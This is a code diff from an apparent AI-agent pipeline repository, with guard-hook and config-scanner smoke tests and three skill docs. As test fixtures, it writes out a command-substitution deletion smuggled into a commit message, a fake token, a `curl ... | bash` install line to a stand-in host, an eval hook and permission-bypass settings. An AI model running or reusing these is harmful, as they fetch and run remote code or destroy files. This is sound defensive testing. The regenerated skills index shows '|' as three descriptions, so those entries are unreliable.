|
|
38
|
+
( cd "$WORK" && printf '%s' "$(J "$3")" | bash "$GUARD" >/dev/null 2>&1 )
|
|
39
|
+
got=$?
|
|
40
|
+
if [ "$got" = "$2" ]; then pass "[$got] $1"; else fail "expected $2 got $got: $1"; fi
|
|
41
|
+
}
|
|
42
|
+
|
|
43
|
+
echo "→ blocks (exit 2)"
|
|
44
|
+
run "commit Co-Authored-By: Claude" 2 'git commit -m "x
|
|
45
|
+
|
|
46
|
+
Co-Authored-By: Claude <noreply@anthropic.com>"'
|
|
47
|
+
run "commit robot-emoji" 2 'git commit -m "x
|
|
48
|
+
|
|
49
|
+
🤖 Generated with Claude Code"'
|
|
50
|
+
run "push --force origin main" 2 'git push --force origin main'
|
|
51
|
+
run "push -f origin develop" 2 'git push -f origin develop'
|
|
52
|
+
run "push --force-with-lease master" 2 'git push --force-with-lease origin master'
|
|
53
|
+
run "bare push -f on main" 2 'git push -f'
|
|
54
|
+
|
|
55
|
+
echo "→ allows (exit 0)"
|
|
56
|
+
run "normal commit" 0 'git commit -m "feat: normal"'
|
|
57
|
+
run "push no force" 0 'git push origin main'
|
|
58
|
+
run "force push feature branch" 0 'git push --force origin feature/DEMO-1'
|
|
59
|
+
run "force push tag" 0 'git push -f origin v1.2.3'
|
|
60
|
+
run "non-git command" 0 'ls -la /tmp'
|
|
61
|
+
run "empty command" 0 ''
|
|
62
|
+
|
|
63
|
+
echo "→ fail-open on bad input"
|
|
64
|
+
( cd "$WORK" && printf 'not-json{' | bash "$GUARD" >/dev/null 2>&1 ); [ $? -eq 0 ] && pass "malformed json -> allow" || fail "malformed json blocked"
|
|
65
|
+
( cd "$WORK" && printf '' | bash "$GUARD" >/dev/null 2>&1 ); [ $? -eq 0 ] && pass "empty stdin -> allow" || fail "empty stdin blocked"
|
|
66
|
+
|
|
67
|
+
echo "→ injection safety (inspected command must NOT execute)"
|
|
68
|
+
SENT="$WORK/sentinel"; : > "$SENT"
|
|
69
|
+
( cd "$WORK" && printf '%s' "$(J "git commit -m \"\$(rm -f '$SENT')\"")" | bash "$GUARD" >/dev/null 2>&1 )
|
|
70
|
+
[ -f "$SENT" ] && pass "sentinel survived (no execution)" || fail "sentinel deleted - command executed"
|
|
71
|
+
|
|
72
|
+
echo ""
|
|
73
|
+
echo "══ agent-guard smoke: $PASS passed, $FAIL failed ══"
|
|
74
|
+
[ "$FAIL" -eq 0 ]
|
|
@@ -0,0 +1,36 @@
|
|
|
1
|
+
#!/usr/bin/env bash
|
|
2
|
+
# smoke-autopilot-circuit-breaker.sh - wiring contract for the autopilot
|
|
3
|
+
# circuit-breaker feature: the doc exists, enumerates the five trip conditions,
|
|
4
|
+
# and is referenced from the modes "what never skips" list.
|
|
5
|
+
#
|
|
6
|
+
# Exit 0 = all pass, 1 = any failure.
|
|
7
|
+
|
|
8
|
+
set -uo pipefail
|
|
9
|
+
|
|
10
|
+
ROOT="$(cd "$(dirname "$0")/../.." && pwd)"
|
|
11
|
+
DOC="$ROOT/pipeline/commands/multi-agent/refs/features/autopilot-circuit-breaker.md"
|
|
12
|
+
MODES="$ROOT/pipeline/commands/multi-agent/refs/phases/modes.md"
|
|
13
|
+
|
|
14
|
+
PASS=0; FAIL=0
|
|
15
|
+
pass() { PASS=$((PASS+1)); echo " ✓ $1"; }
|
|
16
|
+
fail() { FAIL=$((FAIL+1)); echo " ✗ $1"; }
|
|
17
|
+
|
|
18
|
+
[ -f "$DOC" ] && pass "feature doc exists" || fail "feature doc missing"
|
|
19
|
+
[ -f "$MODES" ] && pass "modes doc exists" || fail "modes doc missing"
|
|
20
|
+
|
|
21
|
+
echo "→ five trip conditions documented"
|
|
22
|
+
for t in "No-progress stall" "Identical repeated failure" "Rework storm" "Cost drift" "Merge/rebase conflict"; do
|
|
23
|
+
grep -Fq "$t" "$DOC" && pass "trigger: $t" || fail "trigger missing: $t"
|
|
24
|
+
done
|
|
25
|
+
|
|
26
|
+
echo "→ action + safety invariants"
|
|
27
|
+
grep -Fq "resume" "$DOC" && pass "documents resume path" || fail "no resume path"
|
|
28
|
+
grep -Eiq "never auto-resolve|does not paper over|no force-anything" "$DOC" && pass "no-self-heal invariant present" || fail "missing no-self-heal invariant"
|
|
29
|
+
|
|
30
|
+
echo "→ wired into modes 'what never skips'"
|
|
31
|
+
grep -Fq "autopilot-circuit-breaker.md" "$MODES" && pass "modes references the feature doc" || fail "modes does not reference the feature"
|
|
32
|
+
grep -Fiq "Circuit-breaker" "$MODES" && pass "modes lists circuit-breaker under never-skip" || fail "modes missing circuit-breaker bullet"
|
|
33
|
+
|
|
34
|
+
echo ""
|
|
35
|
+
echo "══ autopilot-circuit-breaker smoke: $PASS passed, $FAIL failed ══"
|
|
36
|
+
[ "$FAIL" -eq 0 ]
|
|
@@ -0,0 +1,58 @@
|
|
|
1
|
+
#!/usr/bin/env bash
|
|
2
|
+
# smoke-config-hygiene.sh - contract for scan-agent-config.sh.
|
|
3
|
+
#
|
|
4
|
+
# 1. The real shipped surface must be clean (exit 0).
|
|
5
|
+
# 2. A fixture tree with planted-bad configs must be caught (exit 1, HIGH findings).
|
|
6
|
+
# Detection matters: a hygiene gate that never fires is worthless.
|
|
7
|
+
#
|
|
8
|
+
# Exit 0 = all pass, 1 = any failure.
|
|
9
|
+
|
|
10
|
+
set -uo pipefail
|
|
11
|
+
|
|
12
|
+
ROOT="$(cd "$(dirname "$0")/../.." && pwd)"
|
|
13
|
+
SCANNER="$ROOT/pipeline/scripts/scan-agent-config.sh"
|
|
14
|
+
[ -f "$SCANNER" ] || { echo "FAIL: scanner missing" >&2; exit 1; }
|
|
15
|
+
|
|
16
|
+
PASS=0; FAIL=0
|
|
17
|
+
pass() { PASS=$((PASS+1)); echo " ✓ $1"; }
|
|
18
|
+
fail() { FAIL=$((FAIL+1)); echo " ✗ $1"; }
|
|
19
|
+
|
|
20
|
+
echo "→ 1. real shipped surface is clean"
|
|
21
|
+
if bash "$SCANNER" >/dev/null 2>&1; then pass "real surface exits 0"; else fail "real surface flagged (unexpected)"; fi
|
|
22
|
+
|
|
23
|
+
echo "→ 2. planted-bad fixture is caught"
|
|
24
|
+
TMP="$(mktemp -d)"; trap 'rm -rf "$TMP"' EXIT
|
|
25
|
+
mkdir -p "$TMP/install/templates" "$TMP/pipeline/agents" "$TMP/pipeline/scripts"
|
|
26
|
+
|
|
27
|
+
# a fake (non-real) token that matches the high-signal prefix rule
|
|
28
|
+
FAKE_TOKEN="ghp_$(printf 'A%.0s' $(seq 1 36))"
|
|
29
|
+
cat > "$TMP/pipeline/preferences-template.json" <<EOF
|
|
30
|
+
{ "token": "$FAKE_TOKEN", "install": "curl https://x.example/i.sh | bash" }
|
|
31
|
+
EOF
|
|
32
|
+
|
|
33
|
+
# bad hooks template: blanket Bash(*), bypass flag, and an eval-bearing hook cmd
|
|
34
|
+
cat > "$TMP/install/templates/claude-hooks.json" <<'EOF'
|
|
35
|
+
{
|
|
36
|
+
"permissions": { "allow": ["Bash(*)"] },
|
|
37
|
+
"skipDangerousModePermissionPrompt": true,
|
|
38
|
+
"hooks": { "PreToolUse": [ { "matcher": "Bash(git commit:*)",
|
|
39
|
+
"hooks": [ { "type": "command", "command": "bash -c \"eval $(cat x)\"" } ] } ] }
|
|
40
|
+
}
|
|
41
|
+
EOF
|
|
42
|
+
: > "$TMP/pipeline/agents/placeholder.md"
|
|
43
|
+
|
|
44
|
+
OUT="$(SCAN_ROOT="$TMP" bash "$SCANNER" 2>&1 || true)"
|
|
45
|
+
CODE=$?
|
|
46
|
+
# under set -e off, capture exit explicitly
|
|
47
|
+
SCAN_ROOT="$TMP" bash "$SCANNER" >/dev/null 2>&1; CODE=$?
|
|
48
|
+
|
|
49
|
+
[ "$CODE" -eq 1 ] && pass "fixture exits 1 (blocking)" || fail "fixture did not block (exit $CODE)"
|
|
50
|
+
echo "$OUT" | grep -q "\[HIGH\].*secret" && pass "detects hardcoded secret" || fail "missed secret"
|
|
51
|
+
echo "$OUT" | grep -q "\[HIGH\].*bypass" && pass "detects permission bypass" || fail "missed bypass flag"
|
|
52
|
+
echo "$OUT" | grep -q "\[HIGH\].*hook" && pass "detects eval-bearing hook cmd" || fail "missed bad hook command"
|
|
53
|
+
echo "$OUT" | grep -q "\[MEDIUM\].*Bash" && pass "detects blanket Bash(*)" || fail "missed blanket Bash"
|
|
54
|
+
echo "$OUT" | grep -q "\[MEDIUM\].*curl|bash\|pipe-to-shell" && pass "detects curl|bash" || fail "missed curl|bash"
|
|
55
|
+
|
|
56
|
+
echo ""
|
|
57
|
+
echo "══ config-hygiene smoke: $PASS passed, $FAIL failed ══"
|
|
58
|
+
[ "$FAIL" -eq 0 ]
|
|
@@ -43,6 +43,24 @@ else
|
|
|
43
43
|
fail "pre-commit-check.sh missing"
|
|
44
44
|
fi
|
|
45
45
|
|
|
46
|
+
# 3b. template also wires agent-guard.sh on git commit AND git push
|
|
47
|
+
node -e '
|
|
48
|
+
const t = JSON.parse(require("fs").readFileSync(process.argv[1],"utf8"));
|
|
49
|
+
const pre = (t.hooks && t.hooks.PreToolUse) || [];
|
|
50
|
+
const commit = pre.find(h => /git commit/.test(h.matcher || ""));
|
|
51
|
+
const push = pre.find(h => /git push/.test(h.matcher || ""));
|
|
52
|
+
const cmds = e => (e && e.hooks || []).map(h => h.command || "").join(" ");
|
|
53
|
+
if (!/agent-guard\.sh/.test(cmds(commit))) { console.error("guard not on git commit"); process.exit(1); }
|
|
54
|
+
if (!/agent-guard\.sh/.test(cmds(push))) { console.error("guard not on git push"); process.exit(1); }
|
|
55
|
+
' "$TMPL" 2>/dev/null && pass "template wires agent-guard on git commit + git push" || fail "template does not wire agent-guard on both matchers"
|
|
56
|
+
|
|
57
|
+
# 3c. the guard scripts exist in the source tree
|
|
58
|
+
if [ -f "$ROOT/pipeline/scripts/agent-guard.sh" ] && [ -f "$ROOT/pipeline/scripts/agent-guard.py" ]; then
|
|
59
|
+
pass "agent-guard.sh + agent-guard.py exist to back the hook"
|
|
60
|
+
else
|
|
61
|
+
fail "agent-guard scripts missing"
|
|
62
|
+
fi
|
|
63
|
+
|
|
46
64
|
# 4. picker-contract documents the hook template + the phase-enforced caveat
|
|
47
65
|
PC="$ROOT/pipeline/commands/multi-agent/refs/picker-contract.md"
|
|
48
66
|
if grep -q "claude-hooks.json" "$PC" && grep -q "phase-enforced" "$PC"; then
|
|
@@ -1,7 +1,7 @@
|
|
|
1
1
|
{
|
|
2
2
|
"schemaVersion": "1.0.0",
|
|
3
|
-
"generatedAt": "2026-07-
|
|
4
|
-
"skillCount":
|
|
3
|
+
"generatedAt": "2026-07-07T15:10:40.029Z",
|
|
4
|
+
"skillCount": 226,
|
|
5
5
|
"entries": [
|
|
6
6
|
{
|
|
7
7
|
"name": "accessibility-compliance-accessibility-audit",
|
|
@@ -12,6 +12,15 @@
|
|
|
12
12
|
"triggerPaths": [],
|
|
13
13
|
"relativePath": "shared/external/accessibility-compliance-accessibility-audit/SKILL.md"
|
|
14
14
|
},
|
|
15
|
+
{
|
|
16
|
+
"name": "agent-introspection-debugging",
|
|
17
|
+
"description": "|",
|
|
18
|
+
"platform": null,
|
|
19
|
+
"group": "external",
|
|
20
|
+
"triggerKeywords": [],
|
|
21
|
+
"triggerPaths": [],
|
|
22
|
+
"relativePath": "shared/external/agent-introspection-debugging/SKILL.md"
|
|
23
|
+
},
|
|
15
24
|
{
|
|
16
25
|
"name": "agentflow",
|
|
17
26
|
"description": "Orchestrate autonomous AI development pipelines through your Kanban board (Asana, GitHub Projects, Linear). Manages multi-worker Claude Code dispatch, deterministic quality gates, adversarial review, per-task cost tracking, and crash-proof pipeline execution.",
|
|
@@ -327,6 +336,15 @@
|
|
|
327
336
|
"triggerPaths": [],
|
|
328
337
|
"relativePath": "shared/external/coreml/SKILL.md"
|
|
329
338
|
},
|
|
339
|
+
{
|
|
340
|
+
"name": "council",
|
|
341
|
+
"description": "|",
|
|
342
|
+
"platform": null,
|
|
343
|
+
"group": "external",
|
|
344
|
+
"triggerKeywords": [],
|
|
345
|
+
"triggerPaths": [],
|
|
346
|
+
"relativePath": "shared/external/council/SKILL.md"
|
|
347
|
+
},
|
|
330
348
|
{
|
|
331
349
|
"name": "cryptokit",
|
|
332
350
|
"description": "Use Apple CryptoKit for Swift cryptographic primitives. Use when hashing with SHA-2 or SHA-3, generating HMACs, encrypting with AES-GCM or ChaChaPoly, signing with P256/P384/P521/Curve25519 or ML-DSA keys, performing ECDH, HPKE, ML-KEM, or X-Wing key exchange, using Secure Enclave CryptoKit keys, or",
|
|
@@ -1569,6 +1587,15 @@
|
|
|
1569
1587
|
"triggerPaths": [],
|
|
1570
1588
|
"relativePath": "shared/external/room-database/SKILL.md"
|
|
1571
1589
|
},
|
|
1590
|
+
{
|
|
1591
|
+
"name": "search-first",
|
|
1592
|
+
"description": "|",
|
|
1593
|
+
"platform": null,
|
|
1594
|
+
"group": "external",
|
|
1595
|
+
"triggerKeywords": [],
|
|
1596
|
+
"triggerPaths": [],
|
|
1597
|
+
"relativePath": "shared/external/search-first/SKILL.md"
|
|
1598
|
+
},
|
|
1572
1599
|
{
|
|
1573
1600
|
"name": "shareplay-activities",
|
|
1574
1601
|
"description": "Build shared real-time experiences using GroupActivities and SharePlay. Use when implementing shared media playback, collaborative app features, synchronized game state, or any FaceTime, Messages, AirDrop, or nearby visionOS group activity on iOS, macOS, tvOS, or visionOS.",
|
|
@@ -0,0 +1,69 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: agent-introspection-debugging
|
|
3
|
+
version: 1.0.0
|
|
4
|
+
description: |
|
|
5
|
+
Structured self-debugging for an agent that is stuck, looping, or failing
|
|
6
|
+
repeatedly. Replaces blind re-prompting with capture -> diagnose -> contained
|
|
7
|
+
recovery -> report. Use when the same step fails twice, a loop is not making
|
|
8
|
+
progress, tool calls keep erroring, or you are about to retry without a new
|
|
9
|
+
hypothesis.
|
|
10
|
+
---
|
|
11
|
+
|
|
12
|
+
# Agent Introspection Debugging
|
|
13
|
+
|
|
14
|
+
When an agent is stuck, the instinct is to try again harder. That burns tokens
|
|
15
|
+
and usually reproduces the failure. This is a workflow, not a hidden runtime:
|
|
16
|
+
it forces you to name the failure, classify it, take the smallest action that
|
|
17
|
+
changes the diagnosis, and report honestly - before retrying.
|
|
18
|
+
|
|
19
|
+
## When to use
|
|
20
|
+
|
|
21
|
+
- The same step failed twice, or a fix loop is not converging.
|
|
22
|
+
- Tool calls keep erroring (connection refused, rate limit, stale state).
|
|
23
|
+
- You are about to retry with no new hypothesis - the signal to stop and think.
|
|
24
|
+
|
|
25
|
+
## Phase 1 — Capture
|
|
26
|
+
|
|
27
|
+
Write the failure state down before acting:
|
|
28
|
+
|
|
29
|
+
- Goal (what were you actually trying to do).
|
|
30
|
+
- The exact error or wrong output.
|
|
31
|
+
- Last successful step, and the first failing step.
|
|
32
|
+
- What is repeating (same error? different each time?).
|
|
33
|
+
- Environment assumptions (cwd, branch, service up, auth present).
|
|
34
|
+
|
|
35
|
+
## Phase 2 — Diagnose
|
|
36
|
+
|
|
37
|
+
Match the symptom to a cause before choosing an action:
|
|
38
|
+
|
|
39
|
+
| Symptom | Likely cause | First check |
|
|
40
|
+
| --- | --- | --- |
|
|
41
|
+
| Hit max tool calls / no end | unbounded loop | is there a stop condition? |
|
|
42
|
+
| Context overflow | unbounded notes/output | what is being accumulated? |
|
|
43
|
+
| Connection refused | service/port down | is it running, right port? |
|
|
44
|
+
| Rate limited (429) | retry storm | back off, not retry faster |
|
|
45
|
+
| Diff/state looks stale | cwd or branch drift | pwd, current branch |
|
|
46
|
+
| Tests still failing after "fix" | wrong hypothesis | re-read the actual assertion |
|
|
47
|
+
|
|
48
|
+
## Phase 3 — Contained recovery
|
|
49
|
+
|
|
50
|
+
Take the single smallest action that changes the diagnosis surface - not a
|
|
51
|
+
broad rewrite. Change one variable, re-observe. The goal is new information,
|
|
52
|
+
not a gamble on a fix.
|
|
53
|
+
|
|
54
|
+
**Honesty guard:** do not claim recovery actions you are not actually
|
|
55
|
+
performing. "Reset agent state," "cleared the cache," "restarted the service"
|
|
56
|
+
are real only if you did them through a real tool. Narrating an imaginary
|
|
57
|
+
auto-heal is worse than reporting that you are blocked.
|
|
58
|
+
|
|
59
|
+
## Phase 4 — Introspection report
|
|
60
|
+
|
|
61
|
+
Emit a short structured record:
|
|
62
|
+
|
|
63
|
+
- Root cause (the confirmed one, not the first guess).
|
|
64
|
+
- Result: `success` | `partial` | `blocked`.
|
|
65
|
+
- Cost: rough tokens/time burned on the failure.
|
|
66
|
+
- Preventive change: the rule, check, or guard that would stop this class of
|
|
67
|
+
failure next time - feed it back into the ledger or the plan.
|
|
68
|
+
|
|
69
|
+
Then, and only then, retry - with the new hypothesis, not the old one.
|
|
@@ -0,0 +1,69 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: council
|
|
3
|
+
version: 1.0.0
|
|
4
|
+
description: |
|
|
5
|
+
Convene a multi-voice council for ambiguous decisions, tradeoffs, and
|
|
6
|
+
go/no-go calls. Use when several valid paths exist and you need structured
|
|
7
|
+
disagreement before choosing, not code review or implementation planning.
|
|
8
|
+
Triggers on: "should we X or Y", "second opinion", "is this worth it",
|
|
9
|
+
"ship now or wait", requests for dissent or multiple perspectives.
|
|
10
|
+
---
|
|
11
|
+
|
|
12
|
+
# Council
|
|
13
|
+
|
|
14
|
+
Convene a short panel of distinct advisory voices for a decision that has more
|
|
15
|
+
than one credible answer. The point is structured disagreement: surface the
|
|
16
|
+
tradeoffs and the strongest case against your leading option before you commit,
|
|
17
|
+
so the choice survives contact with its own weaknesses.
|
|
18
|
+
|
|
19
|
+
## When to use
|
|
20
|
+
|
|
21
|
+
- A decision has multiple credible paths and no obvious winner.
|
|
22
|
+
- You need the tradeoffs made explicit, not smoothed over.
|
|
23
|
+
- Anchoring is a risk: the conversation has drifted toward one option and you
|
|
24
|
+
want it challenged on purpose.
|
|
25
|
+
- A go / no-go would benefit from an adversarial pass.
|
|
26
|
+
|
|
27
|
+
Examples: monorepo vs polyrepo, ship now vs hold for polish, feature-flag vs
|
|
28
|
+
full rollout, build vs adopt, narrow scope vs keep strategic breadth.
|
|
29
|
+
|
|
30
|
+
## When NOT to use
|
|
31
|
+
|
|
32
|
+
| Instead of council | Use |
|
|
33
|
+
| --- | --- |
|
|
34
|
+
| Checking whether output is correct | a verification pass / tests |
|
|
35
|
+
| Breaking a feature into steps | a planner |
|
|
36
|
+
| Designing system architecture | an architect |
|
|
37
|
+
| Finding bugs or security issues | a code reviewer |
|
|
38
|
+
|
|
39
|
+
If there is a single correct answer discoverable from the code or the spec, do
|
|
40
|
+
that work directly. Council is for genuine judgment calls.
|
|
41
|
+
|
|
42
|
+
## The voices
|
|
43
|
+
|
|
44
|
+
Run each as a distinct perspective (in-context, or as parallel sub-agents when
|
|
45
|
+
the decision is high-stakes). Give each the same framing and ask for its
|
|
46
|
+
strongest honest position, not a hedge.
|
|
47
|
+
|
|
48
|
+
- **Skeptic** — attacks the leading option. What breaks it, what is being
|
|
49
|
+
assumed, what is the failure mode nobody is naming?
|
|
50
|
+
- **Pragmatist** — optimizes for shipping and reversibility. What is the
|
|
51
|
+
cheapest path that keeps options open? What is good-enough now?
|
|
52
|
+
- **Critic** — optimizes for long-term cost and coherence. What does this choice
|
|
53
|
+
lock in? What is the second-order effect in six months?
|
|
54
|
+
|
|
55
|
+
Add a fourth domain voice (security, cost, UX) only when the decision hinges on
|
|
56
|
+
that axis.
|
|
57
|
+
|
|
58
|
+
## Protocol
|
|
59
|
+
|
|
60
|
+
1. State the decision in one sentence and list the candidate options.
|
|
61
|
+
2. Give each voice the same context; collect one crisp position + its single
|
|
62
|
+
strongest argument from each. No consensus-seeking at this stage.
|
|
63
|
+
3. Surface the real disagreements as a tradeoff table (option x axis).
|
|
64
|
+
4. Decide, and write down the losing option's best argument and the condition
|
|
65
|
+
under which you would revisit. A decision you cannot argue against is a
|
|
66
|
+
decision you have not understood.
|
|
67
|
+
|
|
68
|
+
Keep it bounded: three voices, one round, one page. Council informs a choice; it
|
|
69
|
+
does not replace making one.
|
|
@@ -0,0 +1,76 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: search-first
|
|
3
|
+
version: 1.0.0
|
|
4
|
+
description: |
|
|
5
|
+
Research-before-coding workflow. Before writing a custom implementation,
|
|
6
|
+
check what already exists (repo utilities, installed libraries, packages,
|
|
7
|
+
internal components) and decide adopt / extend / compose / build on evidence.
|
|
8
|
+
Use at the start of any non-trivial feature or utility, especially when you
|
|
9
|
+
are about to reach for a new dependency or hand-roll something common.
|
|
10
|
+
---
|
|
11
|
+
|
|
12
|
+
# Search-First
|
|
13
|
+
|
|
14
|
+
Reinventing an existing utility, or pulling a new dependency for something the
|
|
15
|
+
codebase already solves, is one of the most common and most expensive agent
|
|
16
|
+
mistakes. Search-first makes "does this already exist?" a required step before
|
|
17
|
+
"how do I write it," and records the answer so the decision is auditable.
|
|
18
|
+
|
|
19
|
+
## When to use
|
|
20
|
+
|
|
21
|
+
- Starting a feature or utility that is plausibly a solved problem.
|
|
22
|
+
- About to add a dependency (verify it is warranted and not already present).
|
|
23
|
+
- About to hand-roll parsing, retry, caching, date math, validation, auth,
|
|
24
|
+
pagination, or any other well-trodden pattern.
|
|
25
|
+
|
|
26
|
+
Skip it for genuinely novel, project-specific logic where no prior art exists.
|
|
27
|
+
|
|
28
|
+
## The workflow
|
|
29
|
+
|
|
30
|
+
### 0. Preflight (honesty gate)
|
|
31
|
+
|
|
32
|
+
List the search channels actually available: the repo itself, installed
|
|
33
|
+
dependencies, the package registry, internal component/skill catalogs, docs.
|
|
34
|
+
If a channel is unreachable, say so explicitly. Never claim "nothing found"
|
|
35
|
+
when a channel was simply not checked - silent skipping is the failure mode
|
|
36
|
+
this step exists to prevent.
|
|
37
|
+
|
|
38
|
+
### 1. Need analysis
|
|
39
|
+
|
|
40
|
+
State in one line what capability is needed and the hard constraints
|
|
41
|
+
(performance, license, platform, API shape). This is the query.
|
|
42
|
+
|
|
43
|
+
### 2. Parallel search
|
|
44
|
+
|
|
45
|
+
Search the channels concurrently, not one at a time:
|
|
46
|
+
- the repo (existing utilities, similar call sites, patterns already in use);
|
|
47
|
+
- installed dependencies (is it already a transitive capability?);
|
|
48
|
+
- the package registry (mature options);
|
|
49
|
+
- internal catalogs (components, skills, shared modules).
|
|
50
|
+
|
|
51
|
+
### 3. Evaluate
|
|
52
|
+
|
|
53
|
+
Score each candidate on functionality fit, maintenance/health, docs, license,
|
|
54
|
+
and integration cost. Keep it to a short comparison, not a survey.
|
|
55
|
+
|
|
56
|
+
### 4. Decide (matrix)
|
|
57
|
+
|
|
58
|
+
| Situation | Decision |
|
|
59
|
+
| --- | --- |
|
|
60
|
+
| Existing thing fits as-is | **Adopt** |
|
|
61
|
+
| Existing thing fits with a small addition | **Extend** it in place |
|
|
62
|
+
| Two existing pieces combine to fit | **Compose** them |
|
|
63
|
+
| Nothing fits and the need is real | **Build** minimal custom code |
|
|
64
|
+
|
|
65
|
+
### 5. Implement
|
|
66
|
+
|
|
67
|
+
Only now write code, and only the minimum the decision calls for. Record the
|
|
68
|
+
decision and the rejected alternatives in the change description so the next
|
|
69
|
+
person does not redo the search.
|
|
70
|
+
|
|
71
|
+
## Anti-patterns
|
|
72
|
+
|
|
73
|
+
- **Jumping to code** before step 0-4.
|
|
74
|
+
- **Silent skipping** — reporting no prior art when a channel was down or
|
|
75
|
+
unchecked.
|
|
76
|
+
- **Dependency reflex** — adding a package for a one-liner the repo already has.
|
|
@@ -3,11 +3,12 @@
|
|
|
3
3
|
> Auto-generated by `pipeline/scripts/build-skills-index.mjs` - do not hand-edit.
|
|
4
4
|
> Regenerate with `node pipeline/scripts/build-skills-index.mjs`.
|
|
5
5
|
|
|
6
|
-
**
|
|
6
|
+
**226 skills** across 5 groups.
|
|
7
7
|
|
|
8
8
|
| Group | Name | Platform | Description |
|
|
9
9
|
|-------|------|----------|-------------|
|
|
10
10
|
| external | `accessibility-compliance-accessibility-audit` | - | You are an accessibility expert specializing in WCAG compliance, inclusive design, and assistive technology compatibility. Conduct audits, i |
|
|
11
|
+
| external | `agent-introspection-debugging` | - | \| |
|
|
11
12
|
| external | `agentflow` | - | Orchestrate autonomous AI development pipelines through your Kanban board (Asana, GitHub Projects, Linear). Manages multi-worker Claude Code |
|
|
12
13
|
| external | `alarmkit` | - | Implement AlarmKit alarms and countdown timers for iOS and iPadOS with Lock Screen, Dynamic Island, StandBy, and paired Apple Watch system U |
|
|
13
14
|
| external | `android_ui_verification` | - | Automated end-to-end UI testing and verification on an Android Emulator using ADB. |
|
|
@@ -43,6 +44,7 @@
|
|
|
43
44
|
| external | `core-motion` | - | Access Core Motion accelerometer, gyroscope, magnetometer, device-motion, pedometer, activity-recognition, altitude, headphone motion, batch |
|
|
44
45
|
| external | `core-nfc` | - | Read and write NFC tags using CoreNFC. Use when scanning NDEF tags, reading ISO7816/ISO15693/FeliCa/MIFARE tags, writing NDEF messages, hand |
|
|
45
46
|
| external | `coreml` | - | Integrate Core ML models in iOS apps for on-device machine learning inference. Covers model loading (.mlmodel, .mlpackage, .mlmodelc), predi |
|
|
47
|
+
| external | `council` | - | \| |
|
|
46
48
|
| external | `cryptokit` | - | Use Apple CryptoKit for Swift cryptographic primitives. Use when hashing with SHA-2 or SHA-3, generating HMACs, encrypting with AES-GCM or C |
|
|
47
49
|
| external | `css-modern` | - | Modern CSS: container queries, nesting, @layer, Grid/Flexbox patterns, custom properties, animations, and transitions |
|
|
48
50
|
| external | `database-patterns` | - | Database patterns: SQL best practices (PostgreSQL), indexing, query optimization, migrations, schema design, ORMs (SQLAlchemy, Prisma, Drizz |
|
|
@@ -181,6 +183,7 @@
|
|
|
181
183
|
| external | `rest-api-design` | - | REST API design: HTTP methods, status codes, pagination, versioning, rate limiting, caching headers, OpenAPI documentation |
|
|
182
184
|
| external | `retrofit-networking` | - | Build networking layers on Android with Retrofit, OkHttp, and Kotlin Coroutines. Covers suspend functions in API interfaces, OkHttp intercep |
|
|
183
185
|
| external | `room-database` | - | Implement Room database persistence on Android with @Entity, @Dao, @Database, Flow-based reactive queries, TypeConverters for complex types, |
|
|
186
|
+
| external | `search-first` | - | \| |
|
|
184
187
|
| external | `shareplay-activities` | - | Build shared real-time experiences using GroupActivities and SharePlay. Use when implementing shared media playback, collaborative app featu |
|
|
185
188
|
| external | `speech-recognition` | - | Transcribe speech to text using Apple's Speech framework. Use when implementing live microphone transcription with AVAudioEngine, recognizin |
|
|
186
189
|
| external | `spm-build-analysis` | - | Analyze Swift Package Manager dependencies, package plugins, module variants, and CI-oriented build overhead that slow Xcode builds. Use whe |
|